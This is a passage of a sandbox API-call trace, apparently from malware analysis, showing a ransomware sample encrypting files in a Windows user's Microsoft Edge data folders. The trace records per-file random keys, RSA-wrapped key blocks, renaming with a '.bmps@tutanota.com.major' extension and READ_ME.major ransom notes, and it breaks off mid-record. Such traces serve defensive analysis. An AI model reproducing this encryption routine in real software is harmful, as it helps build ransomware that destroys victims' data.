returned 1 [0244.175] CloseHandle (hObject=0x1abc) returned 1 [0244.175] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\BingPageDataCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\bingpagedatacache\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\BingPageDataCache\\container.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\bingpagedatacache\\container.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0244.292] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf352567, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfdc693c1, ftLastAccessTime.dwHighDateTime=0x1d39f5c, ftLastWriteTime.dwLowDateTime=0x3cb7eac5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31220 [0244.293] SetLastError (dwErrCode=0x0) [0244.293] GetLastError () returned 0x0 [0244.293] SetLastError (dwErrCode=0x0) [0244.293] GetLastError () returned 0x0 [0244.293] SetLastError (dwErrCode=0x0) [0244.293] FindNextFileW (in: hFindFile=0x2f31220, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf352567, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfdc693c1, ftLastAccessTime.dwHighDateTime=0x1d39f5c, ftLastWriteTime.dwLowDateTime=0x3cb7eac5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.293] SetLastError (dwErrCode=0x0) [0244.293] GetLastError () returned 0x0 [0244.293] SetLastError (dwErrCode=0x0) [0244.293] GetLastError () returned 0x0 [0244.293] SetLastError (dwErrCode=0x0) [0244.293] FindNextFileW (in: hFindFile=0x2f31220, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf352567, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf352567, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf352567, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0244.293] SetLastError (dwErrCode=0x0) [0244.293] GetLastError () returned 0x0 [0244.293] SetLastError (dwErrCode=0x0) [0244.293] GetLastError () returned 0x0 [0244.293] SetLastError (dwErrCode=0x0) [0244.294] FindNextFileW (in: hFindFile=0x2f31220, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cb7eac5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cb7eac5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cb7eac5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.294] SetLastError (dwErrCode=0x0) [0244.294] GetLastError () returned 0x0 [0244.294] SetLastError (dwErrCode=0x0) [0244.294] GetLastError () returned 0x0 [0244.294] SetLastError (dwErrCode=0x0) [0244.294] FindNextFileW (in: hFindFile=0x2f31220, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cb7eac5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cb7eac5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cb7eac5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.294] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0244.294] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cache\\container.dat", dwFileAttributes=0x80) returned 1 [0244.295] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cache\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac0 [0244.295] GetFileSizeEx (in: hFile=0x1ac0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0244.295] ReadFile (in: hFile=0x1ac0, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0244.295] SetFilePointer (in: hFile=0x1ac0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0244.295] WriteFile (in: hFile=0x1ac0, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0244.295] SetFilePointer (in: hFile=0x1ac0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0244.296] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0244.296] WriteFile (in: hFile=0x1ac0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0244.297] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0244.297] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0244.297] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0244.297] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ebFkYCBK46bUz5Z71L/5dwsak96ywh05x7SXGnoLElg3nCIAM+uWui9/5QmyL5Ej\n909UuX0fGTW41JDUeRQq4IBuQghB7mQCylSQEgoW/Wrds6oiHgyDMQ1ryNOPvhYl\nLQ8hsa2OZjKNusCaBhlkKn4oWG0ecLXEvY+ZGGZM2bNzwL6sHVJy8PxMP91kf0ma\n3ZgER1vnFtPsWbYFG13vNRgTklhGpAdF4lX6zcD52Z9GvIRu2hQj9D+0HYmHwtci\nGjkVlbisn8eP5Mlnk/JnDo1mWsbl2vcy0nuHtK342o0T/G7ZNf2AWZ3NQ+LPdzdW\nvZ0fud9RlRXesVGTqo9ZHA==\n", pcchString=0x2e3f9a8) returned 1 [0244.297] WriteFile (in: hFile=0x1ac0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0244.297] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0244.297] WriteFile (in: hFile=0x1ac0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0244.297] CloseHandle (hObject=0x1ac0) returned 1 [0244.297] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cache\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cache\\container.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cache\\container.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0244.299] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf352567, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd8fcbe3e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x3cb7eac5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31660 [0244.300] FindNextFileW (in: hFindFile=0x2f31660, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf352567, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd8fcbe3e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x3cb7eac5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.300] FindNextFileW (in: hFindFile=0x2f31660, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd8fcbe3e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd8fcbe3e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd8fcbe3e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0244.300] FindNextFileW (in: hFindFile=0x2f31660, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cb7eac5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cb7eac5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cb7eac5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.300] FindNextFileW (in: hFindFile=0x2f31660, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cb7eac5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cb7eac5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cb7eac5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.300] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0244.300] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\container.dat", dwFileAttributes=0x80) returned 1 [0244.301] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac4 [0244.301] GetFileSizeEx (in: hFile=0x1ac4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0244.301] ReadFile (in: hFile=0x1ac4, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0244.301] SetFilePointer (in: hFile=0x1ac4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0244.302] WriteFile (in: hFile=0x1ac4, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0244.302] SetFilePointer (in: hFile=0x1ac4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0244.302] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0244.302] WriteFile (in: hFile=0x1ac4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0244.303] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0244.303] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0244.303] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0244.303] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="SxZ5RyEEBx5eVKXMPD8lJaaiBNyYZDfSLUfMsPR+5r5v/nZtwMTPlre4S5dasPqI\nScwMVTUbJL2r7R6DhBBFz2/DNKum/UQcFTs1QAAWWFRtq7QLjIN9zPHk8xXx+Y74\nNwrbHWVg6aDuAHoqxMTKINa8CyBDhlGGptygpuPs2zmG8Y2KpN6rmsEAj9xcNw0S\nUiDba6jQxbQkZUOjEa4CDywMbz38S0KExaNHRAYlfEjS25Y611Z9dPy10HAIN4//\ntGXtVOLSwguVwiSK2HAHg2K9e6P3DUiKDVcp6sdwov92qaYQeEDnPD3WZAdlj6n5\n/AaOj98YdYlH3F8FT0D/ow==\n", pcchString=0x2e3f9a8) returned 1 [0244.303] WriteFile (in: hFile=0x1ac4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0244.303] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0244.303] WriteFile (in: hFile=0x1ac4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0244.303] CloseHandle (hObject=0x1ac4) returned 1 [0244.305] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\CortanaAssist\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf9889eb9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf9889eb9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x3cba4bae, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31420 [0244.305] FindNextFileW (in: hFindFile=0x2f31420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf9889eb9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf9889eb9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x3cba4bae, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.305] FindNextFileW (in: hFindFile=0x2f31420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf988b242, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf988b242, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xc84ae593, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x6f5d2, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AllowList.dat", cAlternateFileName="ALLOWL~1.DAT")) returned 1 [0244.305] FindNextFileW (in: hFindFile=0x2f31420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cba4bae, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cba4bae, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cba4bae, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.305] FindNextFileW (in: hFindFile=0x2f31420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cba4bae, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cba4bae, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cba4bae, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.305] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0244.305] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\CortanaAssist\\AllowList.dat", dwFileAttributes=0x80) returned 1 [0244.306] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\CortanaAssist\\AllowList.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cortanaassist\\allowlist.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac8 [0244.306] GetFileSizeEx (in: hFile=0x1ac8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=456146) returned 1 [0244.307] ReadFile (in: hFile=0x1ac8, lpBuffer=0x33f5018, nNumberOfBytesToRead=0x6f5d2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesRead=0x2e3f9b4*=0x6f5d2, lpOverlapped=0x0) returned 1 [0244.395] SetFilePointer (in: hFile=0x1ac8, lDistanceToMove=-456146, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0244.395] WriteFile (in: hFile=0x1ac8, lpBuffer=0x34645f8*, nNumberOfBytesToWrite=0x6f5d2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x34645f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x6f5d2, lpOverlapped=0x0) returned 1 [0244.397] SetFilePointer (in: hFile=0x1ac8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x6f5d2 [0244.397] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0244.397] WriteFile (in: hFile=0x1ac8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0244.397] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0244.397] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0244.397] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0244.397] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="SE43YiG1mWOTUAdlssdwE4HIuMWVT/NlcDOXaMViD2wCcPCts9iH53xR03n15k5d\nuZ3pw4uVezk88YCbiwrek7Pe4D8Z9lmcKyCV9HHrAz7Zl4QFYECZYjqOmkyn/ptv\n6/imuPt8lSulWWjTVgIvUAe6i4knsit7Qd27N1o+NSSGV6jwIyJ+o2+7ctPH1l5A\n621pKrXMDShz8faRbUg7H1XDQbrOspMsdeJ9Oa6DmztQ5egZW6GZeHAGeS74JgS9\nKvTNY0sY2LCTmq9AXZNrKoiIvZeHKOoZRSSgwbymGwzGYVxVmCh27vb4gnU+S5A0\nyscyZpAq1ZSHOe+6jRzvlA==\n", pcchString=0x2e3f9a8) returned 1 [0244.397] WriteFile (in: hFile=0x1ac8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0244.397] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0244.397] WriteFile (in: hFile=0x1ac8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0244.398] CloseHandle (hObject=0x1ac8) returned 1 [0244.399] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Extensions\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x902a1a6b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x902a1a6b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3cba4bae, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31460 [0244.399] FindNextFileW (in: hFindFile=0x2f31460, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x902a1a6b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x902a1a6b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3cba4bae, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.399] FindNextFileW (in: hFindFile=0x2f31460, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cba4bae, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cba4bae, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cba4bae, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, 